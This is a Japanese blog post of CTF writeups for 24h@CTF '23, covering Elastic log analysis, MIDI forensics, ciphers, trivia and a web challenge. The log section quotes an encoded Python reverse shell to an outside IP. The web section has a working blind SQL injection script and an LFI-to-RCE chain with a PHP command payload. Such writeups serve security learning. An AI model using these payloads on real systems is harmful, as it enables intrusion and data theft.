はまやんはまやんはまやん

hamayanhamayan's blog

Cyberconférence CTF (24h@CTF '23) Writeups

[Desjardins] Blue's Clues 1/8: Gitlab Server

Elasticの環境が与えられるのでログ解析をする問題群。
この問題ではgitlabのサーバー名が要求されている。

とりあえず、時間を伸ばしてログを見てみる。
4月6日からログが出ているようだ。

初めてelasticsearchを使ったが、Popular fieldsという便利なものがあるので、適当にフィルタリングして生データを眺めてみる。
gitlabから出ているログのフィールドにhost.nameというのがあり、そこにあるRezifp-GitLab-Serverを入れると正答だった。

[Desjardins] Blue's Clues 2/8: Source User

不正なCI/CDパイプラインを作成したユーザー名を要求されている。
ユーザー名から攻めることにする。
gitlab.usernameというfieldがあったので、これで集計してみよう。
やり方が全く分からんのでChatGPTに聞く。

KibanaのKQLでgitlab.usernameというフィールドに対して統計集計したいです
===================================================================
KibanaのKQLでgitlab.usernameフィールドに対して統計集計するには、以下の手順を実行してください。

Kibanaを開き、対象となるインデックスパターンを選択します。
Discoverページに移動し、左側のナビゲーションメニューから「+ Add a filter」を選択します。
「Field」ドロップダウンメニューから「gitlab.username」を選択します。
「Filter」ドロップダウンメニューから「is not null」を選択します。
「+ Add」ボタンをクリックして、フィルターを追加します。
左側のナビゲーションメニューから「Visualize」を選択します。
「+ Create Visualization」をクリックし、新しいビジュアライゼーションを作成します。
「Data」タブを選択し、表示するデータを定義します。
「Split series」を選択し、フィールド「gitlab.username」を選択します。
「Metrics」を選択し、使用する集計関数(例:Count)を選択します。
「Apply changes」をクリックしてビジュアライゼーションを更新します。
必要に応じて、ビジュアライゼーションをカスタマイズし、保存します。
これで、KibanaのKQLでgitlab.usernameフィールドに対して統計集計を行うことができます。

上の手順を参考程度にポチポチやっていると、3つのユーザー名が抽出できた。

root
yvandescreds
mimine1965

Visualization機能がとても便利。
ログの量が12日の午後がとびぬけていて、ちょうどそのタイミングでyvandescredsが何かしている。
見てみると、2023-04-12T13:15:24.350Zにgitlab.action:pipelineのイベントが作成されている。
これがそれ?ちょっとよくわからないけど、このユーザーが正答。

[Desjardins] Blue's Clues 3/8: Source IP

前問の答え、yvandescredsというユーザーが作成されたときの各種メタデータを要求されている。
yvandescredsというキーワードが最初に出てくるポイントが作成ポイントだろうと思い、
yvandescredsでキーワード検索して最初に出てくるイベントを探す。
2023-04-12T12:14:59.371Zにそれっぽいイベントがある。

  • gitlab.username:mimine1965
  • gitlab.remote_ip:10.0.0.5, 127.0.0.1 (とあるが、中継も書かれているので最初のものを採用する)
  • gitlab.ua:curl/8.0.1
  • gitlab.token_type:PersonalAccessToken

これを様式通り組み合わせれば正答

[Desjardins] Blue's Clues 4/8: Source Machine

10.0.0.5のhostnameを探す問題。
Visualizationを活用することにする。
10.0.0.5でキーワード検索をして、host.nameをVisualizationで眺めよう。
3種類のhostnameが記録されていたが、3問目のユーザー作成時に割り当たっていた名前はWebServer01であった。

[Desjardins] Blue's Clues 5/8: Initial Access

ウェブサーバーへの足がかりを答える問題。
雑にWebServer01 and phpと検索してみると、最初の2023-04-12T09:37:47.844Zにwebshellっぽい表記が見られる
url.fullhttp://52.229.123.208/index.php?command=ls+-la&page=ce52790629679d930ca16c39a4f619c3というのが見られる。
index.phpを答えてみるがこれではない。

url.fullで面白いものが無いか探索してみると、2023-04-12T09:47:10.159Zで
hxxp://52.229.123[.]208/uploads/ce52790629679d930ca16c39a4f619c3.php?command=lsというのがあった。
ce52790629679d930ca16c39a4f619c3.phpで正答できた。

[Desjardins] Blue's Clues 6/8: Discovery

Webシェルが最後に実行したコマンドが要求されている。
さっきの検索結果が使えそう。
WebServer01 and phpで検索してurl.fullを見る。
時間が最後のものを入れてみると正答。

2023-04-12T11:32:31.322のurl.fullが以下

hxxp://52.229.123[.]208/uploads/ce52790629679d930ca16c39a4f619c3.php?command=python3+-c+%27import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22158.69.62.65%22%2C8080%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B+os.dup2%28s.fileno%28%29%2C1%29%3B+os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B%27

commandにあるコマンドをCyberChefとかでURL Decodeして答えれば正答。
158.69.62[.]65とリバースシェルを張ってますね。
あと2つ設問があったが7番目が解けなかった…悔しいですね…

[Forensics] Close Enciphers - First Kind: Hearing

pcapngファイルが与えられる。
音を使って情報を抜いているのではないか…?という推測が問題文から提示されていて、MIDI通信が記録されている。
眺めていると、Infoで見たときにUSB-MIDI Event Packetsと分類されているものが特徴的であると気づく。
Note-onとNote-offという2種類がある。

Note-offのMIDI Eventが特徴的で80XX40となっている。
全部持ってきて、XXだけにしてhex to asciiをするとかなりそれっぽい文章が出てくる。
だが、微妙に読みづらい。

試しにNote-onのMIDI Eventで同じことをしてみると、整った文章が出てきた。
ここにある、FLAG-XXXXXを提出すると答え。

[Forensics] Close Enciphers - Second Kind: Evidence

pcapngファイルが与えられる。
前問と同じくMIDI通信が記録されている。

前問と同じように復号化してみると以下のような結果になる。

LET'S SHUFFLE IT A LITTLE: SK'HK YEGGD TDUK AE NK LEHK OWXJHKKA SWAT ATWX ODAD KIPWBAHDAWEG. WA XKKLX D YHEQM EP TDJZKHX WX AHRWGY AE ADZKEUKH EQH XRXAKLX (MHENDNBR CQXA AE AQHG ATKL WGAE D FELNWK GKASEHZ PEH JHRMAE LWGWGY EH XELKATWGY), ATKR LDR NK BWXAKGWGY DGO SK HKDBBR JDG'A BKA KL ZGES DNEQA ATWX. PBDY-OEQNBK_WGXWOKH_ATHKDA

Cipher Identifier and Analyzerで判別するとSubstitution Cipherらしい。
Substitution Cipher Solver Toolで手動解読できるので頑張るとフラグが手に入る。
tljaoznrxcempbdfuywhvqisgkが鍵になる。

[Forensics] Preparation - Adipol Lipidex 32mg

ad1ファイルが与えられるのでFTK Imagerでとりあえず開く。
中にReadMe.txtというファイルがあり、フラグが書いてある。

[Forensics] Investigation 2 - Adipol Lipidex 32mg

hd ROOTをして眺めるとフルパスが残っているような感じがする。

LONG{_~1TXT

000005a0  45 74 00 78 00 74 00 00  00 ff ff 0f 00 ce ff ff  |Et.x.t..........|
000005b0  ff ff ff ff ff ff ff ff  ff ff 00 00 ff ff ff ff  |................|
000005c0  04 70 00 72 00 65 00 54  00 54 00 0f 00 ce 79 00  |.p.r.e.T.T....y.|
000005d0  5f 00 31 00 4f 00 6e 00  67 00 00 00 7d 00 2e 00  |_.1.O.n.g...}...|
000005e0  03 46 00 49 00 31 00 33  00 5f 00 0f 00 ce 6e 00  |.F.I.1.3._....n.|
000005f0  34 00 4d 00 65 00 5f 00  49 00 00 00 73 00 5f 00  |4.M.e._.I...s._.|
00000600  02 43 00 61 00 6e 00 5f  00 35 00 0f 00 ce 65 00  |.C.a.n._.5....e.|
00000610  33 00 5f 00 54 00 48 00  49 00 00 00 53 00 5f 00  |3._.T.H.I...S._.|
00000620  01 4c 00 4f 00 4e 00 47  00 7b 00 0f 00 ce 5f 00  |.L.O.N.G.{...._.|
00000630  61 00 53 00 5f 00 79 00  30 00 00 00 75 00 5f 00  |a.S._.y.0...u._.|
00000640  4c 4f 4e 47 7b 5f 7e 31  54 58 54 20 00 0e d9 aa  |LONG{_~1TXT ....|

ここからエスパーすると以下が得られる。

LONG{_aS_y0u_Can_5e3_THIS_FI13_n4Me_Is_preTTy_1Ong}

[trivia] The Cuckoo's Egg

When Clifford Stoll contacted the FBI for the first time regarding a potential intrusion in his systems, how much money did he say he lost (answer in dollars)?

という問いに答える問題。
ChatGPTに聞く。

「When Clifford Stoll contacted the FBI for the first time regarding a potential intrusion in his systems, how much money did he say he lost (answer in dollars)?」という問いに日本語で答えてください。

と聞く。

クリフォード・ストールが初めてFBIに連絡して自身のシステムに侵入があった可能性があることを伝えた際、彼が失ったと主張した金額は、$0.75(米ドルで0.75ドル)でした。

0.75と答えると正答。

[trivia] What would we do without Greece?

I'm the brother of Orthos and I'm widely used in internal networks as part of an authentication process.

という問いに答える問題。
ChatGPTに聞く。

「I'm the brother of Orthos and I'm widely used in internal networks as part of an authentication process.」という問いに日本語で答えてください

と聞く

この問いは、ある種の認証プロセスの一部として、内部ネットワークで広く使用されているという兄弟の一人について尋ねています。答えは、兄弟の名前が何であるかについては明示されていませんが、「私はOrthosの兄弟です」と述べています。Orthosはギリシャ神話に登場する、2つの頭を持つ番犬であるため、答えはおそらく「Cerberus(ケルベロス)」となるでしょう。Cerberusは、内部ネットワークで広く使用される認証システムの一部として、ユーザーの認証に使用されます。

なるほどね。kerberosと答えてみると正答。

[trivia] Yes, it came from something

The rockyou dictionnary is named like that for a reason. Find a year and the vulnerable technology exploited. More than how many millions user accounts were compromised?

という問いに答える問題。
ChatGPTに聞いてみましょう。

「The rockyou dictionnary is named like that for a reason. Find a year and the vulnerable technology exploited. More than how many millions user accounts were compromised?」という問いに日本語で答えてください。

と聞く

RockYou辞書は、2009年に発生したRockYou Inc.のセキュリティ侵害で流出したパスワード辞書です。この侵害は、Web 2.0アプリケーションの脆弱性によって引き起こされました。この侵害により、約3200万人のユーザーアカウントが侵害されました。

ほう。

yearと侵害されたアカウント数は分かった。
Web 2.0アプリケーションの脆弱性」とは何だろうか。

Web 2.0アプリケーションの脆弱性」とは具体的に何でしょうか

と聞く

Web 2.0アプリケーションの脆弱性にはいくつかの種類がありますが、代表的なものには以下のようなものがあります。 SQLインジェクション:Webアプリケーションに対してSQLクエリを送信することによって、攻撃者が不正なデータベースアクセスを行うことができます。 クロスサイトスクリプティングXSS):攻撃者がWebページにスクリプトを挿入することで、そのWebページを閲覧しているユーザーのブラウザで任意のコードを実行できます。 クロスサイトリクエストフォージェリCSRF):攻撃者がユーザーのブラウザを操作して、Webアプリケーションに対して不正なリクエストを送信することで、攻撃を行います。 これらの脆弱性を悪用することで、攻撃者はWebアプリケーションに侵入し、ユーザーの個人情報やアカウント情報を窃取することができます。RockYouの場合、SQLインジェクション脆弱性が悪用され、パスワード情報が漏洩したとされています。

SQL Injectionか。
2009-SQL-32と答えると正答。(すごい)

[web] Shopping

signup.phpのusernameでSQL Injectionを引き起こすことができる。

$sql = "SELECT * FROM users WHERE BINARY username='$username'";

出力をそのまま受けとることはできない。
しかし、$passwordと$cpasswordを違ったものにしておけば、出力の有無で「Passwords do not match」が
表示されるかされないかを一致不一致のオラクルとして利用できる。
これを使ってBlind SQL Injectionしていき、adminのパスワードを取得する。

import requests
import time

url = 'http://challenges.polycyber.io:8000/signup.php'
req = "SELECT password FROM users WHERE username='admin'"

ans = ""
for i in range(1, 1010):
    ok = 0
    ng = 255

    while ok + 1 != ng:
        md = (ok + ng) // 2
        exp = f"' or if({md} <= ascii(substring(({req}),{i},1)), 1, 0) #"
        print(exp)
        res = requests.post(url, data={'firstname':'a','lastname':'b','email':'c','username':exp,'password':'e','cpassword':'f'})
        if 'Passwords do not match' not in res.text:
            ok = md
        else:
            ng = md
        time.sleep(1)

    if ok == 0:
        break

    ans += chr(ok)
    print(f"[*] {ans}")
print(f"[*] done! {ans}")

こんな感じでパスワードが得られて、adminログインが可能になる。
adminでログインできるとaddproduct.phpにあるLFIの脆弱性が利用可能になる。

if (! empty($_GET['role'])){
    $_SESSION['role'] = $_GET['role'];
    include($_GET['role']);
}

roleに入れたものを出力させることができる。
試しに/addproduct.php?role=/etc/passwdみたいにすると良い感じに取れる。
The flag is located in the /opt folder.とあるので、色々推測してみたがダメだった。
RCEにまで発展させる必要がありそうである。

LFIをRCEに発展させる方法はいくつかあるが、セッションを悪用したものを利用した。
Orange: HITCON CTF 2018 - One Line PHP Challenge
このトリック。
セッション情報がファイルとして保存されることを利用する。試しに以下のように試してみる。

GET /addproduct.php?role=%2ftmp%2fsess_9b002d0f9248d5f7d400011045141375 HTTP/1.1
Host: challenges.polycyber.io:8000
Cookie: PHPSESSID=9b002d0f9248d5f7d400011045141375
Connection: close

これの応答にuser|s:5:"admin";role|s:42:"/tmp/sess_9b002d0f9248d5f7d400011045141375";
というのが含まれてセッション情報が反映されてきているのがわかる。
roleの値にphpコードを入れ込んで、以上のようにセッション情報を表示させることでphpコードとして認識させてRCEさせようという戦略になる。
今回はセッション書き込みの直後にincludeしているので、もしかしたら、書き込み前の情報が得られるかも…とやってみるとうまくいく。

具体的に説明する。
Cookie: PHPSESSID=9b002d0f9248d5f7d400011045141375というセッションを利用していることを前提とする。
まず、使いたいphpコードをroleに入れて呼び出してセッションに書き込む。
GET /addproduct.php?role=%3c%3fphp%20passthru(%24_GET%5b%22c%22%5d)%3b%20%3f%3e
次に、書き込んだコードを呼び出すためにセッションデータの保存場所をLFIしてくる。
GET /addproduct.php?role=%2ftmp%2fsess_9b002d0f9248d5f7d400011045141375&c=id
このとき、前に書き込んだセッション情報が排他制御が失敗して使われ<?php passthru($_GET["c"]); ?>が実行され、cで与えたidコマンドが実行される。
RCE達成できた。

ls /optすると4c9ef90fdcdd387456f56cd2d275a7f5というファイル名が得られるのでcat /opt/4c9ef90fdcdd387456f56cd2d275a7f5でフラグ獲得。